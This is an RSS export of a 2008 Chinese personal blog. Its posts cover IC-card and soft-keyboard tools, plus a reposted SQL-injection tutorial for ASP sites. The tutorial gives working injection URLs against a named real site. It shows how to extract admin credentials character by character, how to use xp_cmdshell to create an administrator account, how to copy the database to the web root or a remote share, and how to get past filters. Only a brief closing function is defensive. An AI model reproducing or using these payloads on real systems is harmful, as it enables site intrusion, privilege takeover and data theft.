<?xml version="1.0" encoding="GBK" ?>
<rss version="2.0" xmlns:slash="http://purl.org/rss/1.0/modules/slash/" xmlns:dcterms="http://purl.org/dc/terms/">
 <channel>
  	  <title><![CDATA[思特的博客]]></title>
	  <link>http://whbestsoft.blog.163.com</link>
	  <description><![CDATA[勤勤恳恳做事,老老实实做人! QQ:274018638  
phone:15827502798]]></description>
	  <language>zh-CN</language>
	  <pubDate>Fri, 4 Jul 2008 02:12:52 +0800</pubDate>
	  <lastBuildDate>Fri, 4 Jul 2008 02:12:52 +0800</lastBuildDate>
	  <docs>http://blogs.law.harvard.edu/tech/rss</docs>
	  <generator><![CDATA[NetEase Space]]></generator>
	  <managingEditor><![CDATA[whbestsoft]]></managingEditor>
	  <webMaster><![CDATA[思特]]></webMaster>
		  <ttl>120</ttl>
	  <image>
	  	<title><![CDATA[思特的博客]]></title>
	  	<url>http://ava.blog.163.com/photo/grpVcKAaCRmeEDpDCQlyBg==/175077435514128245.jpg</url>
	  	<link>http://whbestsoft.blog.163.com</link>
	  </image>
  <item>
  	<title><![CDATA[思特IC卡批量初始化工具(M1卡)]]></title>	
    <link>http://whbestsoft.blog.163.com/blog/static/3188146120084751442591</link>
    <description><![CDATA[<div><P>　　　本工具为了安全起见，后台数据库为sql server，分为三个模块：1.登陆用户管理 2.IC卡密码用户管理 3.刷卡管理，每个模块运行进都要进入相应用户的登陆，可以同时在多台机器上进工作，卡密码在数库中以加密的方式保存，安全性大大的提高。</P>
<P>&nbsp;下载地址: <A href="http://www.whbestsoft.com/download/file/icinit.rar">http://www.whbestsoft.com/download/file/icinit.rar</A></P>
<P><FONT size=4><STRONG>用户管理(User.exe)</STRONG></FONT></P>
<P><STRONG><FONT size=4>&nbsp;&nbsp;&nbsp; </FONT></STRONG><FONT size=3>首先进入出现一个登陆界面(默认用户和密码都为<FONT color=#3366ff>admin</FONT>,具有全部权限,进去后就可进行三个模块用户设置(类型：超级用户、密码管理、刷卡管理，其中超级用户能进所有模块，密码管理用户能进密码管理与刷卡管理模块，刷卡管理用户只能进行刷卡管理模块)</FONT></P>
<P><A href="http://img.blog.163.com/photo/Bd1nD-On2ZZ3lllX6_7gTA==/5420363626517534540.jpg" target=_blank><IMG src="http://img.blog.163.com/photo/Bd1nD-On2ZZ3lllX6_7gTA==/5420363626517534540.jpg"></A><A href="http://img.blog.163.com/photo/XI4GSxB33BBX_srf90CZJw==/5398690053311171402.jpg" target=_blank><IMG src="http://img.blog.163.com/photo/XI4GSxB33BBX_srf90CZJw==/5398690053311171402.jpg"></A></P>
<P>&nbsp;</P>
<P><FONT size=4><STRONG>IC卡密码管理(SaveIC.exe)</STRONG></FONT></P>
<P><STRONG><FONT size=4>&nbsp;&nbsp;&nbsp; </FONT></STRONG><FONT size=3>首先进入也会出现一个登陆界面，登陆进去后会出现一个添加修改删除所使用的帐户与IC卡密码界面，直接填入保存即可</FONT></P>
<P><A href="http://img.blog.163.com/photo/W1LoOHIYCQfekfxOVf-sJw==/5397001203450768303.jpg" target=_blank><IMG src="http://img.blog.163.com/photo/W1LoOHIYCQfekfxOVf-sJw==/5397001203450768303.jpg"></A></P>
<P><A href="http://img.blog.163.com/photo/CULqgrXq8da23tyOghOlkQ==/5397001203450768329.jpg" target=_blank><IMG src="http://img.blog.163.com/photo/CULqgrXq8da23tyOghOlkQ==/5397001203450768329.jpg"></A></P>
<P>&nbsp;</P>
<P><FONT size=4><STRONG>IC批量初始化工具(initcard.exe)</STRONG></FONT></P>
<P><STRONG><FONT size=4>&nbsp;&nbsp;&nbsp;</FONT></STRONG><FONT size=3>&nbsp; 这是最重要的一个模块，以刷卡用户登陆进去后就会看到整个批量刷卡界面，很简单,看图片吧，就不在叙述功能了</FONT></P>
<P><A href="http://img.blog.163.com/photo/ABZFVUb5LUGiW0fVAy3GFg==/891712726220037236.jpg" target=_blank><IMG src="http://img.blog.163.com/photo/ABZFVUb5LUGiW0fVAy3GFg==/891712726220037236.jpg"></A><A href="http://img.blog.163.com/photo/RIC4rwaNthkH80SwJfyieg==/891712726220037244.jpg" target=_blank><IMG src="http://img.blog.163.com/photo/RIC4rwaNthkH80SwJfyieg==/891712726220037244.jpg"></A><A href="http://img.blog.163.com/photo/B5IlB4fKZpql5ZL9R4-_hQ==/891712726220037251.jpg" target=_blank><IMG src="http://img.blog.163.com/photo/B5IlB4fKZpql5ZL9R4-_hQ==/891712726220037251.jpg"></A><A href="http://img.blog.163.com/photo/oXqQ9hObvPChiD23HPPa4Q==/3404158368339098114.jpg" target=_blank><IMG src="http://img.blog.163.com/photo/oXqQ9hObvPChiD23HPPa4Q==/3404158368339098114.jpg"></A><A href="http://img.blog.163.com/photo/QczutlS8jB_virQYi1kmdw==/3404158368339098152.jpg" target=_blank><IMG src="http://img.blog.163.com/photo/QczutlS8jB_virQYi1kmdw==/3404158368339098152.jpg"></A><A href="http://img.blog.163.com/photo/UzGB5TQfcJjcCrg9EuvtzQ==/616148724020258802.jpg" target=_blank><IMG src="http://img.blog.163.com/photo/UzGB5TQfcJjcCrg9EuvtzQ==/616148724020258802.jpg"></A><A href="http://img.blog.163.com/photo/-6Hd3nImmIIP4OzS8MiYEQ==/1432707631457889250.jpg" target=_blank><IMG src="http://img.blog.163.com/photo/-6Hd3nImmIIP4OzS8MiYEQ==/1432707631457889250.jpg"></A><A href="http://img.blog.163.com/photo/bePxQaJPzZ9oelMAv01CQA==/1432707631457889280.jpg" target=_blank><IMG src="http://img.blog.163.com/photo/bePxQaJPzZ9oelMAv01CQA==/1432707631457889280.jpg"></A><A href="http://img.blog.163.com/photo/ACL-oPeOBGgLXHDmdG92fA==/1445092530432893276.jpg" target=_blank><IMG src="http://img.blog.163.com/photo/ACL-oPeOBGgLXHDmdG92fA==/1445092530432893276.jpg"></A><A href="http://img.blog.163.com/photo/b5MZyIeRnZFGhbe2GmlSQg==/1445092530432893299.jpg" target=_blank></A></P>
<P><FONT size=3>批量初始化时的情况</FONT></P>
<P><A href="http://img.blog.163.com/photo/hJB-EQRPoFduZ2bSXtByWg==/1176002452697797859.jpg" target=_blank><IMG src="http://img.blog.163.com/photo/hJB-EQRPoFduZ2bSXtByWg==/1176002452697797859.jpg"></A></P></div>]]></description>
	    <author><![CDATA[思特]]></author>
	    <comments>http://whbestsoft.blog.163.com/blog/static/3188146120084751442591</comments>
    <slash:comments>0</slash:comments>
    <guid isPermaLink="true">http://whbestsoft.blog.163.com/blog/static/3188146120084751442591</guid>
    <pubDate>Wed, 7 May 2008 17:14:42 +0800</pubDate>
    <dcterms:modified>2008-05-08T14:23:24+08:00</dcterms:modified>
  </item>    
  <item>
  	<title><![CDATA[ASP注入漏洞全接触]]></title>	
    <link>http://whbestsoft.blog.163.com/blog/static/3188146120083334821838</link>
    <description><![CDATA[<div><P><FONT color=#99ccff>（转）针对一些使用asp或asp.net的网页</FONT></P>
<P>　　随着B/S模式应用开发的发展，使用这种模式编写应用程序的程序员也越来越多。但是由于这个行业的入门门槛不高，程序员的水平及经验也参差不齐，相当大一部分程序员在编写代码的时候，没有对用户输入数据的合法性进行判断，使应用程序存在安全隐患。用户可以提交一段数据库查询代码，根据程序返回的结果，获得某些他想得知的数据，这就是所谓的SQL Injection，即SQL注入。</P>
<P>　　SQL注入是从正常的WWW端口访问，而且表面看起来跟一般的Web页面访问没什么区别，所以目前市面的防火墙都不会对SQL注入发出警报，如果管理员没查看IIS日志的习惯，可能被入侵很长时间都不会发觉。</P>
<P>　　但是，SQL注入的手法相当灵活，在注入的时候会碰到很多意外的情况。能不能根据具体情况进行分析，构造巧妙的SQL语句，从而成功获取想要的数据，是高手与“菜鸟”的根本区别。</P>
<P>　　根据国情，国内的网站用ASP+Access或SQLServer的占70%以上，PHP+MySQ占L20%，其他的不足10%。在本文，我们从分入门、进阶至高级讲解一下ASP注入的方法及技巧，PHP注入的文章由NB联盟的另一位朋友zwell撰写，希望对安全工作者和程序员都有用处。了解ASP注入的朋友也请不要跳过入门篇，因为部分人对注入的基本判断方法还存在误区。大家准备好了吗?Let's Go...</P>
<P>　　<STRONG>入 门 篇</STRONG></P>
<P>　　如果你以前没试过SQL注入的话，那么第一步先把IE菜单=&gt;工具=&gt;Internet选项=&gt;高级=&gt;显示友好 HTTP 错误信息前面的勾去掉。否则，不论服务器返回什么错误，IE都只显示为HTTP 500服务器错误，不能获得更多的提示信息。</P>
<P>　　<STRONG>第一节、SQL注入原理</STRONG></P>
<P>　　以下我们从一个网站www.19cn.com开始(注：本文发表前已征得该站站长同意，大部分都是真实数据)。</P>
<P>　　在网站首页上，有名为“IE不能打开新窗口的多种解决方法”的链接，地址为：http://www.19cn.com/showdetail.asp?id=49，我们在这个地址后面加上单引号'，服务器会返回下面的错误提示：</P>
<P>　　Microsoft JET Database Engine 错误 '80040e14'</P>
<P>　　字符串的语法错误 在查询表达式 'ID=49'' 中。</P>
<P>　　/showdetail.asp，行8</P>
<P>　　从这个错误提示我们能看出下面几点：</P>
<P>　　1.网站使用的是Access数据库，通过JET引擎连接数据库，而不是通过ODBC。</P>
<P>　　2.程序没有判断客户端提交的数据是否符合程序要求。</P>
<P>　　3.该SQL语句所查询的表中有一名为ID的字段。</P>
<P>　　从上面的例子我们可以知道，SQL注入的原理，就是从客户端提交特殊的代码，从而收集程序及服务器的信息，从而获取你想到得到的资料。</P>
<P>　　<STRONG>第二节、判断能否进行SQL注入</STRONG></P>
<P>　　看完第一节，有一些人会觉得：我也是经常这样测试能否注入的，这不是很简单吗?</P>
<P>　　其实，这并不是最好的方法，为什么呢?</P>
<P>　　首先，不一定每台服务器的IIS都返回具体错误提示给客户端，如果程序中加了cint(参数)之类语句的话，SQL注入是不会成功的，但服务器同样会报错，具体提示信息为处理 URL 时服务器上出错。请和系统管理员联络。</P>
<P>　　其次，部分对SQL注入有一点了解的程序员，认为只要把单引号过滤掉就安全了，这种情况不为少数，如果你用单引号测试，是测不到注入点的</P>
<P>　　那么，什么样的测试方法才是比较准确呢?答案如下：</P>
<P>　　① http://www.19cn.com/showdetail.asp?id=49</P>
<P>　　② http://www.19cn.com/showdetail.asp?id=49 and 1=1</P>
<P>　　③ http://www.19cn.com/showdetail.asp?id=49 and 1=2</P>
<P>　　这就是经典的1=1、1=2测试法了，怎么判断呢?看看上面三个网址返回的结果就知道了：</P>
<P>　　可以注入的表现：</P>
<P>　　① 正常显示(这是必然的，不然就是程序有错误了)</P>
<P>　　② 正常显示，内容基本与①相同</P>
<P>　　③ 提示BOF或EOF(程序没做任何判断时)、或提示找不到记录(判断了rs.eof时)、或显示内容为空(程序加了on error resume next)</P>
<P>　　不可以注入就比较容易判断了，①同样正常显示，②和③一般都会有程序定义的错误提示，或提示类型转换时出错。</P>
<P>　　当然，这只是传入参数是数字型的时候用的判断方法，实际应用的时候会有字符型和搜索型参数，我将在中级篇的“SQL注入一般步骤”再做分析。</P>
<P>　　<STRONG>第三节、判断数据库类型及注入方法</STRONG></P>
<P>　　不同的数据库的函数、注入方法都是有差异的，所以在注入之前，我们还要判断一下数据库的类型。一般ASP最常搭配的数据库是Access和SQLServer，网上超过99%的网站都是其中之一。</P>
<P>　　怎么让程序告诉你它使用的什么数据库呢?来看看：</P>
<P>　　SQLServer有一些系统变量，如果服务器IIS提示没关闭，并且SQLServer返回错误提示的话，那可以直接从出错信息获取，方法如下：</P>
<P>　　http://www.19cn.com/showdetail.asp?id=49 and user&gt;0</P>
<P>　　这句语句很简单，但却包含了SQLServer特有注入方法的精髓，我自己也是在一次无意的测试中发现这种效率极高的猜解方法。让我看来看看它的含义：首先，前面的语句是正常的，重点在and user&gt;0，我们知道，user是SQLServer的一个内置变量，它的值是当前连接的用户名，类型为nvarchar。拿一个nvarchar的值跟int的数0比较，系统会先试图将nvarchar的值转成int型，当然，转的过程中肯定会出错，SQL Server的出错提示是：将nvarchar值 “abc” 转换数据类型为 int 的列时发生语法错误，呵呵，abc正是变量user的值，这样，不废吹灰之力就拿到了数据库的用户名。在以后的篇幅里，大家会看到很多用这种方法的语句。</P>
<P>　　顺便说几句，众所周知，SQLServer的用户sa是个等同Adminstrators权限的角色，拿到了sa权限，几乎肯定可以拿到主机的Administrator了。上面的方法可以很方便的测试出是否是用sa登录，要注意的是：如果是sa登录，提示是将“dba”转换成int的列发生错误，而不是“sa”。</P>
<P>　　如果服务器IIS不允许返回错误提示，那怎么判断数据库类型呢?我们可以从Access和SQLServer和区别入手，Access和SQLServer都有自己的系统表，比如存放数据库中所有对象的表，Access是在系统表[msysobjects]中，但在Web环境下读该表会提示“没有权限”，SQLServer是在表[sysobjects]中，在Web环境下可正常读取。</P>
<P>　　在确认可以注入的情况下，使用下面的语句：</P>
<P>　　http://www.19cn.com/showdetail.asp?id=49 and (select count(*) from sysobjects)&gt;0</P>
<P>　　http://www.19cn.com/showdetail.asp?id=49 and (select count(*) from msysobjects)&gt;0</P>
<P>　　如果数据库是SQLServer，那么第一个网址的页面与原页面http://www.19cn.com/showdetail.asp?id=49是大致相同的;而第二个网址，由于找不到表msysobjects，会提示出错，就算程序有容错处理，页面也与原页面完全不同。</P>
<P>　　如果数据库用的是Access，那么情况就有所不同，第一个网址的页面与原页面完全不同;第二个网址，则视乎数据库设置是否允许读该系统表，一般来说是不允许的，所以与原网址也是完全不同。大多数情况下，用第一个网址就可以得知系统所用的数据库类型，第二个网址只作为开启IIS错误提示时的验证。</P>
<P>　　<STRONG>进 阶 篇</STRONG></P>
<P>　　在入门篇，我们学会了SQL注入的判断方法，但真正要拿到网站的保密内容，是远远不够的。接下来，我们就继续学习如何从数据库中获取想要获得的内容，首先，我们先看看SQL注入的一般步骤：</P>
<P>　　<STRONG>第一节、SQL注入的一般步骤</STRONG></P>
<P>　　首先，判断环境，寻找注入点，判断数据库类型，这在入门篇已经讲过了。</P>
<P>　　其次，根据注入参数类型，在脑海中重构SQL语句的原貌，按参数类型主要分为下面三种：</P>
<P>　　(A) ID=49 这类注入的参数是数字型，SQL语句原貌大致如下：</P>
<P>　　Select * from 表名 where 字段=49</P>
<P>　　注入的参数为ID=49 And [查询条件]，即是生成语句：</P>
<P>　　Select * from 表名 where 字段=49 And [查询条件]</P>
<P>　　(B) Class=连续剧 这类注入的参数是字符型，SQL语句原貌大致概如下：</P>
<P>　　Select * from 表名 where 字段='连续剧'</P>
<P>　　注入的参数为Class=连续剧' and [查询条件] and ''=' ，即是生成语句：</P>
<P>　　Select * from 表名 where 字段='连续剧' and [查询条件] and ‘’=''</P>
<P>　(C) 搜索时没过滤参数的，如keyword=关键字，SQL语句原貌大致如下：</P>
<P>　　Select * from 表名 where 字段like ’%关键字%'</P>
<P>　　注入的参数为keyword=’ and [查询条件] and ‘%'='， 即是生成语句：</P>
<P>　　Select * from 表名 where字段like ’%' and [查询条件] and ‘%'='%'</P>
<P>　　接着，将查询条件替换成SQL语句，猜解表名，例如：</P>
<P>　　ID=49 And (Select Count(*) from Admin)&gt;=0</P>
<P>　　如果页面就与ID=49的相同，说明附加条件成立，即表Admin存在，反之，即不存在(请牢记这种方法)。如此循环，直至猜到表名为止。</P>
<P>　　表名猜出来后，将Count(*)替换成Count(字段名)，用同样的原理猜解字段名。</P>
<P>　　有人会说：这里有一些偶然的成分，如果表名起得很复杂没规律的，那根本就没得玩下去了。说得很对，这世界根本就不存在100%成功的黑客技术，苍蝇不叮无缝的蛋，无论多技术多高深的黑客，都是因为别人的程序写得不严密或使用者保密意识不够，才有得下手。</P>
<P>　　有点跑题了，话说回来，对于SQLServer的库，还是有办法让程序告诉我们表名及字段名的，我们在高级篇中会做介绍。</P>
<P>　　最后，在表名和列名猜解成功后，再使用SQL语句，得出字段的值，下面介绍一种最常用的方法-Ascii逐字解码法，虽然这种方法速度很慢，但肯定是可行的方法。</P>
<P>　　我们举个例子，已知表Admin中存在username字段，首先，我们取第一条记录，测试长度：</P>
<P>　　http://www.19cn.com/showdetail.asp?id=49 and (select top 1 len(username) from Admin)&gt;0</P>
<P>　　先说明原理：如果top 1的username长度大于0，则条件成立;接着就是&gt;1、&gt;2、&gt;3这样测试下去，一直到条件不成立为止，比如&gt;7成立，&gt;8不成立，就是len(username)=8</P>
<P>　　当然没人会笨得从0,1,2,3一个个测试，怎么样才比较快就看各自发挥了。在得到username的长度后，用mid(username,N,1)截取第N位字符，再asc(mid(username,N,1))得到ASCII码，比如：</P>
<P>　　id=49 and (select top 1 asc(mid(username,1,1)) from Admin)&gt;0</P>
<P>　　同样也是用逐步缩小范围的方法得到第1位字符的ASCII码，注意的是英文和数字的ASCII码在1-128之间，可以用折半法加速猜解，如果写成程序测试，效率会有极大的提高。</P>
<P>　　<STRONG>第二节、SQL注入常用函数</STRONG></P>
<P>　　有SQL语言基础的人，在SQL注入的时候成功率比不熟悉的人高很多。我们有必要提高一下自己的SQL水平，特别是一些常用的函数及命令。</P>
<P>　　Access：asc(字符) SQLServer：unicode(字符)</P>
<P>　　作用：返回某字符的ASCII码</P>
<P>　　Access：chr(数字) SQLServer：nchar(数字)</P>
<P>　　作用：与asc相反，根据ASCII码返回字符</P>
<P>　　Access：mid(字符串,N,L) SQLServer：substring(字符串,N,L)</P>
<P>　　作用：返回字符串从N个字符起长度为L的子字符串，即N到N+L之间的字符串</P>
<P>　　Access：abc(数字) SQLServer：abc (数字)</P>
<P>　　作用：返回数字的绝对值(在猜解汉字的时候会用到)</P>
<P>　　Access：A between B And C SQLServer：A between B And C</P>
<P>　　作用：判断A是否界于B与C之间</P>
<P>　　<STRONG>第三节、中文处理方法</STRONG></P>
<P>　　在注入中碰到中文字符是常有的事，有些人一碰到中文字符就想打退堂鼓了。其实只要对中文的编码有所了解，“中文恐惧症”很快可以克服。先说一点常识：</P>
<P>　　Access中，中文的ASCII码可能会出现负数，取出该负数后用abs()取绝对值，汉字字符不变。</P>
<P>　　SQLServer中，中文的ASCII为正数，但由于是UNICODE的双位编码，不能用函数ascii()取得ASCII码，必须用函数unicode ()返回unicode值，再用nchar函数取得对应的中文字符。</P>
<P>　　了解了上面的两点后，是不是觉得中文猜解其实也跟英文差不多呢?除了使用的函数要注意、猜解范围大一点外，方法是没什么两样的。</P>
<P>　　<STRONG>高 级 篇</STRONG></P>
<P>　　看完入门篇和进阶篇后，稍加练习，破解一般的网站是没问题了。但如果碰到表名列名猜不到，或程序作者过滤了一些特殊字符，怎么提高注入的成功率?怎么样提高猜解效率?请大家接着往下看高级篇。</P>
<P>　　<STRONG>第一节、利用系统表注入SQLServer数据库</STRONG></P>
<P>　　SQLServer是一个功能强大的数据库系统，与操作系统也有紧密的联系，这给开发者带来了很大的方便，但另一方面，也为注入者提供了一个跳板，我们先来看看几个具体的例子：</P>
<P>　　① http://Site/url.asp?id=1; exec master..xp_cmdshell "net user name password /add"--</P>
<P>　　分号; 在SQLServer中表示隔开前后两句语句，--表示后面的语句为注释，所以，这句语句在SQLServer中将被分成两句执行，先是Select出ID=1的记录，然后执行存储过程xp_cmdshell，这个存储过程用于调用系统命令，于是，用net命令新建了用户名为name、密码为password的windows的帐号，接着：</P>
<P>　　② http://Site/url.asp?id=1; exec master..xp_cmdshell "net localgroup administrators name /add"--</P>
<P>　　将新建的帐号name加入管理员组，不用两分钟，你已经拿到了系统最高权限!当然，这种方法只适用于用sa连接数据库的情况，否则，是没有权限调用xp_cmdshell的。</P>
<P>　　③ http://Site/url.asp?id=1 and db_name()&gt;0</P>
<P>　　前面有个类似的例子and user&gt;0，作用是获取连接用户名，db_name()是另一个系统变量，返回的是连接的数据库名。</P>
<P>　　④ http://Site/url.asp?id=1; backup database 数据库名 to disk=’c:\inetpub\wwwroot\1.db’; --</P>
<P>　　这是相当狠的一招，从③拿到的数据库名，加上某些IIS出错暴露出的绝对路径，将数据库备份到Web目录下面，再用HTTP把整个数据库就完完整整的下载回来，所有的管理员及用户密码都一览无遗!在不知道绝对路径的时候，还可以备份到网络地址的方法(如\\202.96.xx.xx\Share\1.db)，但成功率不高。</P>
<P>　　⑤ http://Site/url.asp?id=1 and (Select Top 1 name from sysobjects where xtype='U' and status&gt;0)&gt;0</P>
<P>　　前面说过，sysobjects是SQLServer的系统表，存储着所有的表名、视图、约束及其它对象，xtype='U' and status&gt;0，表示用户建立的表名，上面的语句将第一个表名取出，与0比较大小，让报错信息把表名暴露出来。第二、第三个表名怎么获取?还是留给我们聪明的读者思考吧。</P>
<P>　　⑥ http://Site/url.asp?id=1 and (Select Top 1 col_name(object_id('表名'),1) from sysobjects)&gt;0</P>
<P>　　从⑤拿到表名后，用object_id(‘表名’)获取表名对应的内部ID，col_name(表名ID,1)代表该表的第1个字段名，将1换成2,3,4...就可以逐个获取所猜解表里面的字段名。</P>
<P>　　以上6点是我研究SQLServer注入半年多以来的心血结晶，可以看出，对SQLServer的了解程度，直接影响着成功率及猜解速度。在我研究SQLServer注入之后，我在开发方面的水平也得到很大的提高，呵呵，也许安全与开发本来就是相辅相成的吧。</P>
<P>　<STRONG>　第二节、绕过程序限制继续注入</STRONG></P>
<P>　　在入门篇提到，有很多人喜欢用'号测试注入漏洞，所以也有很多人用过滤'号的方法来“防止”注入漏洞，这也许能挡住一些入门者的攻击，但对SQL注入比较熟悉的人，还是可以利用相关的函数，达到绕过程序限制的目的。</P>
<P>　　在“SQL注入的一般步骤”一节中，我所用的语句，都是经过我优化，让其不包含有单引号的;在“利用系统表注入SQLServer数据库”中，有些语句包含有'号，我们举个例子来看看怎么改造这些语句：</P>
<P>　　简单的如where xtype='U'，字符U对应的ASCII码是85，所以可以用where xtype=char(85)代替;如果字符是中文的，比如where name='用户'，可以用where name=nchar(29992)+nchar(25143)代替。</P>
<P>　　<STRONG>第三节、经验小结</STRONG></P>
<P>　　1.有些人会过滤Select、Update、Delete这些关键字，但偏偏忘记区分大小写，所以大家可以用selecT这样尝试一下。</P>
<P>　　2.在猜不到字段名时，不妨看看网站上的登录表单，一般为了方便起见，字段名都与表单的输入框取相同的名字。</P>
<P>　　3.特别注意：地址栏的+号传入程序后解释为空格，%2B解释为+号，%25解释为%号，具体可以参考URLEncode的相关介绍。</P>
<P>　　4.用Get方法注入时，IIS会记录你所有的提交字符串，对Post方法做则不记录，所以能用Post的网址尽量不用Get。</P>
<P>　　5. 猜解Access时只能用Ascii逐字解码法，SQLServer也可以用这种方法，只需要两者之间的区别即可，但是如果能用SQLServer的报错信息把值暴露出来，那效率和准确率会有极大的提高。</P>
<P>　　<STRONG>防 范 方 法</STRONG></P>
<P>　　SQL注入漏洞可谓是“千里之堤，溃于蚁穴”，这种漏洞在网上极为普遍，通常是由于程序员对注入不了解，或者程序过滤不严格，或者某个参数忘记检查导致。在这里，我给大家一个函数，代替ASP中的Request函数，可以对一切的SQL注入Say NO，函数如下：</P>
<P>
<TABLE style="BORDER-RIGHT: #cccccc 1px dotted; TABLE-LAYOUT: fixed; BORDER-TOP: #cccccc 1px dotted; BORDER-LEFT: #cccccc 1px dotted; BORDER-BOTTOM: #cccccc 1px dotted" cellSpacing=0 cellPadding=6 width="95%" align=center border=0>
<TBODY>
<TR>
<TD style="WORD-WRAP: break-word" bgColor=#f3f3f3>　　Function&nbsp;SafeRequest(ParaName,ParaType) <BR>　　'---&nbsp;传入参数&nbsp;--- <BR>　　'ParaName:参数名称-字符型 <BR>　　'ParaType:参数类型-数字型(1表示以上参数是数字，0表示以上参数为字符) <BR>　　Dim&nbsp;Paravalue <BR>　　Paravalue=Request(ParaName) <BR>　　If&nbsp;ParaType=1&nbsp;then <BR>　　If&nbsp;not&nbsp;isNumeric(Paravalue)&nbsp;then <BR>　　Response.write&nbsp;"参数"&nbsp;&amp;&nbsp;ParaName&nbsp;&amp;&nbsp;"必须为数字型!" <BR>　　Response.end <BR>　　End&nbsp;if <BR>　　Else <BR>　　Paravalue=replace(Paravalue,"'","''") <BR>　　End&nbsp;if <BR>　　SafeRequest=Paravalue <BR>　　End&nbsp;function</TD></TR></TBODY></TABLE></P>
<P>　　文章到这里就结束了，不管你是安全人员、技术爱好者还是程序员，我都希望本文能对你有所帮助。</P></div>]]></description>
	    <author><![CDATA[思特]]></author>
	    <comments>http://whbestsoft.blog.163.com/blog/static/3188146120083334821838</comments>
    <slash:comments>0</slash:comments>
    <guid isPermaLink="true">http://whbestsoft.blog.163.com/blog/static/3188146120083334821838</guid>
    <pubDate>Thu, 3 Apr 2008 15:48:21 +0800</pubDate>
    <dcterms:modified>2008-04-03T15:51:39+08:00</dcterms:modified>
  </item>    
  <item>
  	<title><![CDATA[汉字转拼音(带单调)]]></title>	
    <link>http://whbestsoft.blog.163.com/blog/static/3188146120082383730461</link>
    <description><![CDATA[<div><P>前两天没什么事，正好看到了一个汉字拼音字库，就做了这个一个汉字转换拼音的小工具软件。本软件为delphi7所写，可提供源码！</P>
<P>下载地址：<A href="http://www.whbestsoft.com/download/file/hztopy.rar">http://www.whbestsoft.com/download/file/hztopy.rar</A></P>
<P><A href="http://img.blog.163.com/photo/nQvdP7q3EcqovE9MqXs6vg==/5138044224876699690.jpg" target=_blank><IMG src="http://img.blog.163.com/photo/nQvdP7q3EcqovE9MqXs6vg==/5138044224876699690.jpg"></A></P></div>]]></description>
	    <author><![CDATA[思特]]></author>
	    <comments>http://whbestsoft.blog.163.com/blog/static/3188146120082383730461</comments>
    <slash:comments>0</slash:comments>
    <guid isPermaLink="true">http://whbestsoft.blog.163.com/blog/static/3188146120082383730461</guid>
    <pubDate>Mon, 3 Mar 2008 08:37:30 +0800</pubDate>
    <dcterms:modified>2008-03-03T08:38:21+08:00</dcterms:modified>
  </item>    
  <item>
  	<title><![CDATA[其它软键盘...]]></title>	
    <link>http://whbestsoft.blog.163.com/blog/static/3188146120080283335313</link>
    <description><![CDATA[<div><P>纯属个人兴趣，下面的软件更新后,现在也懒得传到网上了，现在举两截个图表示安慰！</P>
<P>1.单个软键盘中另外新增了一个版本,增加了背景,可以设置键盘大小,可以替换键盘按钮图片</P>
<P><A href="http://img.blog.163.com/photo/oBALL2--A34w21qpq1kwbg==/1693634934868402579.jpg" target=_blank><IMG src="http://img.blog.163.com/photo/oBALL2--A34w21qpq1kwbg==/1693634934868402579.jpg"></A><A href="http://img.blog.163.com/photo/3q0fVI4I_j4qXcKSnV7m7A==/3449757314566300807.jpg" target=_blank><IMG src="http://img.blog.163.com/photo/3q0fVI4I_j4qXcKSnV7m7A==/3449757314566300807.jpg"></A><A href="http://img.blog.163.com/photo/DhM4b5vUGjbp3wuKvwbQOw==/2314850208468768528.jpg" target=_blank><IMG src="http://img.blog.163.com/photo/DhM4b5vUGjbp3wuKvwbQOw==/2314850208468768528.jpg"></A></P>
<P>2.输入法软键,自定义输入法规则,可以把window下的输入法转成文本后,简单的修改即可以转到本软键中.</P>
<P><A href="http://img.blog.163.com/photo/DBn4G897JNGrip-Mz2Rvzg==/2054204380034819042.jpg" target=_blank><IMG src="http://img.blog.163.com/photo/DBn4G897JNGrip-Mz2Rvzg==/2054204380034819042.jpg"></A></P>
<P><A href="http://img.blog.163.com/photo/pJts1ycWHdKyy3HFUZjwhQ==/2054204380034819068.jpg" target=_blank><IMG src="http://img.blog.163.com/photo/pJts1ycWHdKyy3HFUZjwhQ==/2054204380034819068.jpg"></A></P>
<P><A href="http://img.blog.163.com/photo/VwugUkLS7h5kI6nDsJQ_IA==/1434677956294769926.jpg" target=_blank><IMG src="http://img.blog.163.com/photo/VwugUkLS7h5kI6nDsJQ_IA==/1434677956294769926.jpg"></A></P></div>]]></description>
	    <author><![CDATA[思特]]></author>
	    <comments>http://whbestsoft.blog.163.com/blog/static/3188146120080283335313</comments>
    <slash:comments>2</slash:comments>
    <guid isPermaLink="true">http://whbestsoft.blog.163.com/blog/static/3188146120080283335313</guid>
    <pubDate>Mon, 28 Jan 2008 15:33:05 +0800</pubDate>
    <dcterms:modified>2008-03-03T08:39:54+08:00</dcterms:modified>
  </item>    
  <item>
  	<title><![CDATA[思特软键盘三套件1.6(ocx、dll、exe)]]></title>	
    <link>http://whbestsoft.blog.163.com/blog/static/3188146120078226472796</link>
    <description><![CDATA[<div><P>最新更新包:<A href="http://www.whbestsoft.com/download/file/kb.rar" target=_blank>http://www.whbestsoft.com/download/file/kb.rar</A></P>
<P><STRONG><FONT color=#008080>======================<BR>=思特软键盘ocx控件&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =<BR>======================<BR></FONT></STRONG>&nbsp;&nbsp; 本控件可以使用在各种语言平台下，方便快捷，拖上去即可使用，使之成为程序的一部分，也可使用在网页中，成为一个漂亮的软键盘输入，可广泛应用于触摸屏软件等特定条件下的软件。<BR>&nbsp;<A href="http://img.blog.163.com/photo/Db0brBX7JpLUsHVF2sJOIg==/3683100070259216894.jpg" target=_blank></A><A href="http://img.blog.163.com/photo/SDMS_a-pgpjJGPfSnxVLVg==/3683100070259216896.jpg" target=_blank><IMG src="http://img.blog.163.com/photo/SDMS_a-pgpjJGPfSnxVLVg==/3683100070259216896.jpg"></A><A href="http://img.blog.163.com/photo/unE6wTkVeicbXe4VyvB4Jg==/1199646350741057601.jpg" target=_blank></A><A href="http://img.blog.163.com/photo/nItoFYTCpTeeok_7P7jSDA==/3683100070259216897.jpg" target=_blank></A><BR>Web中设置的属性<BR>==============================<BR>isCtrlSpace:是否使用模拟的开关输入法方式<BR>showmoveimage:是否显示移动键盘图片<BR>selectimebutton:是否显示选择输入法按钮<BR>opentimebutton:是否显示打开输入法按钮<BR>closeimebutton:是否显示关闭输入法按钮<BR>showimetext:是否显示输入法信息<BR>regname:注册姓名<BR>regcode:注册码<BR>showreginfo:是否显示注册信息<BR>imetimeinteval:显示输入法信息的刷新时间</P>
